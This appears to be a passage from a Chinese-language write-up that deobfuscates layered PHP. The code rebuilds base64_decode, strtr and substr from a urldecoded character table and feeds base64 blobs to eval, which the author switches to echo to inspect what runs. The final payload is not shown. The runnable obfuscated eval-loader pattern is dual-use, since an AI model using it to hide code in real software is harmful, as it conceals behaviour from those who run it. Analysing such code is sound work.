echo ($ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu("JEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm49IlpuenZyRGVzSWlNbUFKUEN0VnBYd1NRR2FsVUxoV29keWNGRVR4Z1l1YlJCSEtPa05qZnFzYVJKeVlxT0tjVXJtV0F2bGJnZk1QRkhvd3RoalZkaVRJcFhCRW5RWnpTTHVHa0NEZU54QVk5TW91bW5BUjQ9IjtldmFsKCc/PicuJGF5TnFuZW9yREh4RkJTd2NLaExqSlB0T2lDZllBZ1p2YmxYVVJUV1ZtcEVNUUdreklkc3UoJFlHWkh2aXBDdXpPVnFyV1RRRmxmeUJJdFBzaGJjeGVKTUthRVhvbXdSZ25Va1NkQUxORGooJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIqMiksJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpLCRUZHBNSmtoWEVxWk5jUGF4YnlLV0d6VnRlZ1FucllMT0ZpdWpEQ21IUmx3QUJvVUl2U3NmKCRGTmh2WkdKZ1ZRVW16cnBsamVxa09ZTVNJYlR0b3NLTEJ4UldhSGlDY0VEdWRYQXdQeWZuLDAsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpKSkpOw=="));


//define('njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[6] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx = $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[18] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[1] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[7] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[13];
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO .= $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[22] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[36] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[29] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[32] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[35] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
echo ($HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO("JEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFE9Ild0Q3hzcUV1TE5UU0dSa1ZmWktIalVZUElvZ25CaUZocmJ5T1hhY0FlbG13cEpkenZRRE1GYlJZbkxlV3VHVEtzTlp2T3BjZ0VydFhCeENRbGpWZkR3U215cUhpa1BNemRKYUlvQWhVWGg5enFnaUdSTWZkcDJmbnFGYXhhVjlNcUZZUGNzNUx2UVBJQVBkMmtnSlVxMHBwcGU1b3BNR1FOM3ZmYTBOY3RNWXpUMUdOTnJmS3ZGMXVxclZ4a1pQaHB5TkFUeVZ0djFBZG16MGNBc3YydEZ6eEpWOUFUMUdyRjNQYndzUElxeUdkSDJQb3cyYmFjVG49IjtldmFsKCc/PicuJEhiWGR0R1VrZUVEbFJncHdzYXJmblZZb1RTS0ljUHZoQ1dqQml6UUxaeEZNdXltQU5xSk8oJElvY2VDbnFWS09Ga3JsUmpVUEVkTmhBdVNNSkJ6bUd2VEx5dGlzZ3BaWWJRWEhmRHdXeGEoJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8qMiksJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8sJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pLCREY2J5UE5wWVNLdUVDdmVrSVZabE9RRlRNd2dYaW5BZmFvSGR6cWhHV1JyTHNtSkJqVXR4KCRIZnVTZ01CT3hob3ZydG5tWXprVUdGRVpzaURYeUpJbGJLQ1dqcFZMUFR3Y3FlYU5BUmRRLDAsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pKSkpOw=="));

image-20241218195539-u9ht7j1

得到如下

$FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn="ZnzvrDesIiMmAJPCtVpXwSQGalULhWodycFETxgYubRBHKOkNjfqsaRJyYqOKcUrmWAvlbgfMPFHowthjVdiTIpXBEnQZzSLuGkCDeNxAY9MoumnAR4=";
eval('?>'.$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu($YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj($TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR*2),$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR),$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,0,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR))));
$HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ="WtCxsqEuLNTSGRkVfZKHjUYPIognBiFhrbyOXacAelmwpJdzvQDMFbRYnLeWuGTKsNZvOpcgErtXBxCQljVfDwSmyqHikPMzdJaIoAhUXh9zqgiGRMfdp2fnqFaxaV9MqFYPcs5LvQPIAPd2kgJUq0pppe5opMGQN3vfa0NctMYzT1GNNrfKvF1uqrVxkZPhpyNATyVtv1Admz0cAsv2tFzxJV9AT1GrF3PbwsPIqyGdH2Pow2bacTn=";
eval('?>'.$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO($IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa($DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo*2),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo),$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx($HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ,0,$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo))));

继续解混淆，依然是去打印一下这啷个 eval 看看执行了啥

<?php
//define('zkcdmiFTVJHQyqohtKrnxsLwfCDpUIYjREZBMWlPXOvuNgSbaeAG', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[6] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
$YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[33] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[10] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf = $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[18] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[3] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[0] . $YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj[1] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[24];
$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR = $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[7] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[13];
$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu .= $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[22] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[36] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[29] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[32] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[35] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[26] . $BVNbCcjoqanurQehIgEOmLGZMUzyTxPstkwAvfpSKRXlJidWDFYH[30];
//eval($ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu("JEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm49IlpuenZyRGVzSWlNbUFKUEN0VnBYd1NRR2FsVUxoV29keWNGRVR4Z1l1YlJCSEtPa05qZnFzYVJKeVlxT0tjVXJtV0F2bGJnZk1QRkhvd3RoalZkaVRJcFhCRW5RWnpTTHVHa0NEZU54QVk5TW91bW5BUjQ9IjtldmFsKCc/PicuJGF5TnFuZW9yREh4RkJTd2NLaExqSlB0T2lDZllBZ1p2YmxYVVJUV1ZtcEVNUUdreklkc3UoJFlHWkh2aXBDdXpPVnFyV1RRRmxmeUJJdFBzaGJjeGVKTUthRVhvbXdSZ25Va1NkQUxORGooJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIqMiksJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpLCRUZHBNSmtoWEVxWk5jUGF4YnlLV0d6VnRlZ1FucllMT0ZpdWpEQ21IUmx3QUJvVUl2U3NmKCRGTmh2WkdKZ1ZRVW16cnBsamVxa09ZTVNJYlR0b3NLTEJ4UldhSGlDY0VEdWRYQXdQeWZuLDAsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpKSkpOw=="));
//echo ($ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu("JEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm49IlpuenZyRGVzSWlNbUFKUEN0VnBYd1NRR2FsVUxoV29keWNGRVR4Z1l1YlJCSEtPa05qZnFzYVJKeVlxT0tjVXJtV0F2bGJnZk1QRkhvd3RoalZkaVRJcFhCRW5RWnpTTHVHa0NEZU54QVk5TW91bW5BUjQ9IjtldmFsKCc/PicuJGF5TnFuZW9yREh4RkJTd2NLaExqSlB0T2lDZllBZ1p2YmxYVVJUV1ZtcEVNUUdreklkc3UoJFlHWkh2aXBDdXpPVnFyV1RRRmxmeUJJdFBzaGJjeGVKTUthRVhvbXdSZ25Va1NkQUxORGooJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIqMiksJFRkcE1Ka2hYRXFaTmNQYXhieUtXR3pWdGVnUW5yWUxPRml1akRDbUhSbHdBQm9VSXZTc2YoJEZOaHZaR0pnVlFVbXpycGxqZXFrT1lNU0liVHRvc0tMQnhSV2FIaUNjRUR1ZFhBd1B5Zm4sJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpLCRUZHBNSmtoWEVxWk5jUGF4YnlLV0d6VnRlZ1FucllMT0ZpdWpEQ21IUmx3QUJvVUl2U3NmKCRGTmh2WkdKZ1ZRVW16cnBsamVxa09ZTVNJYlR0b3NLTEJ4UldhSGlDY0VEdWRYQXdQeWZuLDAsJHN6ZWNtWXVhcmx4RlVJV3lvYnRmbkxOSlFUQ0R2UGtWU0dIZ0VaaVhoT01Ld3BCZEFqcVIpKSkpOw=="));


//define('njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT', pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn);
$OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[6] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
$IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[33] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[10] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$DcbyPNpYSKuECvekIVZlOQFTMwgXinAfaoHdzqhGWRrLsmJBjUtx = $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[18] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[3] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[0] . $IoceCnqVKOFkrlRjUPEdNhAuSMJBzmGvTLytisgpZYbQXHfDwWxa[1] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[24];
$kcwKbSghWizYEuAGDOTFaHXQRtnLyBlJpCImejsrNvZqPUVxfMdo = $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[7] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[13];
$HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO .= $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[22] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[36] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[29] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[32] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[35] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[26] . $OlnDkzNeqvjKmYhMBISxJCuZfQRwLWHGFstUcAoXVyrbiETPadgp[30];
//echo ($HbXdtGUkeEDlRgpwsarfnVYoTSKIcPvhCWjBizQLZxFMuymANqJO("JEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFE9Ild0Q3hzcUV1TE5UU0dSa1ZmWktIalVZUElvZ25CaUZocmJ5T1hhY0FlbG13cEpkenZRRE1GYlJZbkxlV3VHVEtzTlp2T3BjZ0VydFhCeENRbGpWZkR3U215cUhpa1BNemRKYUlvQWhVWGg5enFnaUdSTWZkcDJmbnFGYXhhVjlNcUZZUGNzNUx2UVBJQVBkMmtnSlVxMHBwcGU1b3BNR1FOM3ZmYTBOY3RNWXpUMUdOTnJmS3ZGMXVxclZ4a1pQaHB5TkFUeVZ0djFBZG16MGNBc3YydEZ6eEpWOUFUMUdyRjNQYndzUElxeUdkSDJQb3cyYmFjVG49IjtldmFsKCc/PicuJEhiWGR0R1VrZUVEbFJncHdzYXJmblZZb1RTS0ljUHZoQ1dqQml6UUxaeEZNdXltQU5xSk8oJElvY2VDbnFWS09Ga3JsUmpVUEVkTmhBdVNNSkJ6bUd2VEx5dGlzZ3BaWWJRWEhmRHdXeGEoJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8qMiksJERjYnlQTnBZU0t1RUN2ZWtJVlpsT1FGVE13Z1hpbkFmYW9IZHpxaEdXUnJMc21KQmpVdHgoJEhmdVNnTUJPeGhvdnJ0bm1ZemtVR0ZFWnNpRFh5SklsYktDV2pwVkxQVHdjcWVhTkFSZFEsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8sJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pLCREY2J5UE5wWVNLdUVDdmVrSVZabE9RRlRNd2dYaW5BZmFvSGR6cWhHV1JyTHNtSkJqVXR4KCRIZnVTZ01CT3hob3ZydG5tWXprVUdGRVpzaURYeUpJbGJLQ1dqcFZMUFR3Y3FlYU5BUmRRLDAsJGtjd0tiU2doV2l6WUV1QUdET1RGYUhYUVJ0bkx5QmxKcENJbWVqc3JOdlpxUFVWeGZNZG8pKSkpOw=="));

$FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn="ZnzvrDesIiMmAJPCtVpXwSQGalULhWodycFETxgYubRBHKOkNjfqsaRJyYqOKcUrmWAvlbgfMPFHowthjVdiTIpXBEnQZzSLuGkCDeNxAY9MoumnAR4=";
echo ('?>'.$ayNqneorDHxFBSwcKhLjJPtOiCfYAgZvblXURTWVmpEMQGkzIdsu($YGZHvipCuzOVqrWTQFlfyBItPshbcxeJMKaEXomwRgnUkSdALNDj($TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR*2),$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR),$TdpMJkhXEqZNcPaxbyKWGzVtegQnrYLOFiujDCmHRlwABoUIvSsf($FNhvZGJgVQUmzrpljeqkOYMSIbTtosKLBxRWaHiCcEDudXAwPyfn,0,$szecmYuarlxFUIWyobtfnLNJQTCDvPkVSGHgEZiXhOMKwpBdAjqR))));
$HfuSgMBOxhovrtnmYzkUGFEZsiDXyJIlbKCWjpVLPTwcqeaNARdQ="WtCxsqEuLNTSGRkVfZKHjUYPIognBiFhrbyOXacAelmwpJdzvQDMFbRYnLeWuGTKsNZvOpcgErtXBxCQljVfDwSmyqHikPMzdJaIoAhUXh9zqgiGRMfdp2fnqFaxaV9MqFYPcs5LvQPIAPd2kgJUq0pppe5opMGQN3vfa0NctMYzT1GNNrfKvF1uqrVxkZPhpyNATyVtv1Admz0cAsv2tFzxJV9AT1GrF3PbwsPIqyGdH2Pow2bacTn=";
